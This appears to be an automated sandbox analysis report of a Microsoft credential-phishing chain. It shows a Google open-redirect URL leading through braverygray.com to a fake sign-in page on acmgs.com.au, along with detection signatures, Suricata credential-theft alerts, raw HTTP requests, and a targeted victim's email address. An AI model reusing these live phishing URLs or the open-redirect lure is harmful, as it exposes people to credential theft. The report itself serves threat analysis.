Edit tour

Windows Analysis Report
https://google.com.mx//url?ob=pkmcekw7bljbM2dWBuuV7ic1KFgH&aw=f_rand_string_lowercase(8)n9QXkBk0w4OyBDvUpuk&sa=t&whi=f_rand_string_lowercase(8)zOPGXNRztppHiTbPIt5f&url=amp%2Fbraverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t

Overview

General Information

Sample URL:	https://google.com.mx//url?ob=pkmcekw7bljbM2dWBuuV7ic1KFgH&aw=f_rand_string_lowercase(8)n9QXkBk0w4OyBDvUpuk&sa=t&whi=f_rand_string_lowercase(8)zOPGXNRztppHiTbPIt5f&url=amp%2Fbraverygray.com/.dd/Kcxwjq
Analysis ID:	1579104
Infos:

Detection

Fake Captcha, HTMLPhisher

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Suricata IDS alerts for network traffic

Yara detected Fake Captcha

Yara detected HtmlPhish54

AI detected suspicious Javascript

Detected hidden input values containing email addresses (often used in phishing pages)

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML title does not match URL

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5696 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6516 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1904,i,18366170521209709358,2107059869103542779,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2716 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://google.com.mx//url?ob=pkmcekw7bljbM2dWBuuV7ic1KFgH&aw=f_rand_string_lowercase(8)n9QXkBk0w4OyBDvUpuk&sa=t&whi=f_rand_string_lowercase(8)zOPGXNRztppHiTbPIt5f&url=amp%2Fbraverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
1.24.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
1.3.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
1.15.i.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.7.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.2.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
4.8.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.1.pages.csv	JoeSecurity_FakeCaptcha	Yara detected Fake Captcha	Joe Security
3.3.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.5.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
Click to see the 4 entries

Suricata Signatures

ETPRO PHISHING JS/PsyduckPockeball Payload Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T20:31:06.810471+0100	2857090	1	Successful Credential Theft Detected	159.89.96.140	443	192.168.2.8	49728	TCP

ETPRO PHISHING Successful Microsoft Account Phish 2018-08-15

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T20:32:01.121190+0100	2832180	1	Successful Credential Theft Detected	192.168.2.8	49771	159.89.96.140	443	TCP

ETPRO PHISHING Successful Microsoft Account Phish 2020-01-14

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T20:32:01.121190+0100	2840426	1	Successful Credential Theft Detected	192.168.2.8	49771	159.89.96.140	443	TCP

ETPRO PHISHING Successful Microsoft Account Phish 2020-12-15

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T20:32:01.121190+0100	2846045	1	Successful Credential Theft Detected	192.168.2.8	49771	159.89.96.140	443	TCP

ETPRO PHISHING Successful Office 365 Phish 2018-08-01

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T20:32:01.121190+0100	2832046	1	Successful Credential Theft Detected	192.168.2.8	49771	159.89.96.140	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL '0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au' does not match the legitimate domain for Microsoft., The use of '0nlineactivations' with zeroes instead of 'onlineactivations' is a common phishing tactic involving misspellings., The domain 'acmgs.com.au' is not associated with Microsoft, which raises suspicion., The presence of repeated words and unusual patterns in the URL is indicative of phishing., The input field 'Password' suggests an attempt to capture sensitive information, which is common in phishing sites. DOM: 3.6.pages.csv
Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL '0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au' does not match the legitimate domain for Microsoft., The URL contains repeated words and uses '0' instead of 'o', which is a common phishing tactic to mimic legitimate words., The domain 'acmgs.com.au' is not associated with Microsoft, and the use of multiple hyphens and repeated words is suspicious., The presence of an input field for 'Enter password' suggests an attempt to capture sensitive information, which is a common phishing strategy. DOM: 3.7.pages.csv

Yara detected Fake Captcha

Source: Yara match

File source: 2.1.pages.csv, type: HTML

Yara detected HtmlPhish54

Source: Yara match	File source: 1.24.id.script.csv, type: HTML
Source: Yara match	File source: 1.3.id.script.csv, type: HTML
Source: Yara match	File source: 1.15.i.script.csv, type: HTML
Source: Yara match	File source: 3.7.pages.csv, type: HTML
Source: Yara match	File source: 2.2.pages.csv, type: HTML
Source: Yara match	File source: 4.8.pages.csv, type: HTML
Source: Yara match	File source: 3.3.pages.csv, type: HTML
Source: Yara match	File source: 3.5.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 1.0.id.script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://0nlineactivations-0nlineactivations-0nline... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code. While some of the behaviors may be related to legitimate functionality like analytics or error reporting, the overall level of risk is high due to the presence of multiple suspicious activities.

Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true

HTTP Parser: mwebb@windsorhomestx.com

Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true

HTTP Parser: Number of links: 0

Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com

HTTP Parser: Base64 decoded: a[href="http://www.salidzini.lv/"][style="display: block; width: 120px; height: 40px; overflow: hidden; position: relative;"]

Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true	HTTP Parser: Title: Sign in to your account does not match URL
Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/common/login	HTTP Parser: Title: Sign in to your account does not match URL

Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true	HTTP Parser: Iframe src: https://dab02a46-e455dbd6.acmgs.com.au/Prefetch/Prefetch.aspx
Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true	HTTP Parser: Iframe src: https://dab02a46-e455dbd6.acmgs.com.au/Prefetch/Prefetch.aspx
Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true	HTTP Parser: Iframe src: https://dab02a46-e455dbd6.acmgs.com.au/Prefetch/Prefetch.aspx
Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/common/login	HTTP Parser: Iframe src: https://dab02a46-e455dbd6.acmgs.com.au/Prefetch/Prefetch.aspx

Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true	HTTP Parser: <input type="password" .../> found
Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/common/login	HTTP Parser: <input type="password" .../> found

Source: https://braverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t	HTTP Parser: No favicon
Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com	HTTP Parser: No favicon
Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true	HTTP Parser: No favicon
Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true	HTTP Parser: No favicon
Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true	HTTP Parser: No favicon
Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true	HTTP Parser: No favicon
Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true	HTTP Parser: No favicon
Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/common/login	HTTP Parser: No favicon

Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/common/login	HTTP Parser: No <meta name="author".. found

Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/common/login	HTTP Parser: No <meta name="copyright".. found

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2857090 - Severity 1 - ETPRO PHISHING JS/PsyduckPockeball Payload Inbound : 159.89.96.140:443 -> 192.168.2.8:49728
Source: Network traffic	Suricata IDS: 2832046 - Severity 1 - ETPRO PHISHING Successful Office 365 Phish 2018-08-01 : 192.168.2.8:49771 -> 159.89.96.140:443
Source: Network traffic	Suricata IDS: 2832180 - Severity 1 - ETPRO PHISHING Successful Microsoft Account Phish 2018-08-15 : 192.168.2.8:49771 -> 159.89.96.140:443
Source: Network traffic	Suricata IDS: 2840426 - Severity 1 - ETPRO PHISHING Successful Microsoft Account Phish 2020-01-14 : 192.168.2.8:49771 -> 159.89.96.140:443
Source: Network traffic	Suricata IDS: 2846045 - Severity 1 - ETPRO PHISHING Successful Microsoft Account Phish 2020-12-15 : 192.168.2.8:49771 -> 159.89.96.140:443

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: www.google.com.mx to http://braverygray.com/.dd/kcxwjqsane-suredann-bxdlymjad2luzhnvcmhvbwvzdhguy29t

Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63

Source: global traffic	HTTP traffic detected: GET //url?ob=pkmcekw7bljbM2dWBuuV7ic1KFgH&aw=f_rand_string_lowercase(8)n9QXkBk0w4OyBDvUpuk&sa=t&whi=f_rand_string_lowercase(8)zOPGXNRztppHiTbPIt5f&url=amp%2Fbraverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t HTTP/1.1Host: google.com.mxConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIk6HLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /url?ob=pkmcekw7bljbM2dWBuuV7ic1KFgH&aw=f_rand_string_lowercase(8)n9QXkBk0w4OyBDvUpuk&sa=t&whi=f_rand_string_lowercase(8)zOPGXNRztppHiTbPIt5f&url=amp%2Fbraverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t HTTP/1.1Host: www.google.com.mxConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIk6HLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /amp/braverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t HTTP/1.1Host: www.google.com.mxConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIk6HLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=VUvrXt8kQxKIDa0UQ4sEvOreZpnVtggySdjxhXKYcIYvuWNL4YnfPN_FjaecROyQPQPOfFr24aKJLpT4gLdH78I3fU7zxwMo6YgS5UNBIAsPBi0vsoZSyamevqrVgnsuyhQYjc-OlavfUuPtbGaZJKUA9GM0_VolTVYEwa3I9p96wrAF3K5-5OGR6_ZW21mFi-UdZA
Source: global traffic	HTTP traffic detected: GET /.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t HTTP/1.1Host: braverygray.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /emoji/48/check-mark-emoji.png HTTP/1.1Host: img.icons8.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://braverygray.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: braverygray.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://braverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29tAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /emoji/48/check-mark-emoji.png HTTP/1.1Host: img.icons8.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?777=mwebb%40windsorhomestx.com HTTP/1.1Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.auConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://braverygray.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?777=mwebb%40windsorhomestx.com HTTP/1.1Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.auConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.comAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: 881a0950-e455dbd6.acmgs.com.auConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.ausec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /e455dbd6308045dea743f49e92cf3388/ HTTP/1.1Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.auConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.auSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="Sec-WebSocket-Key: iA8wtNfTEl5/VqcbUrU3BQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /?777=mwebb%40windsorhomestx.com&sso_reload=true HTTP/1.1Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.auConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.comAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.auConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.comAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
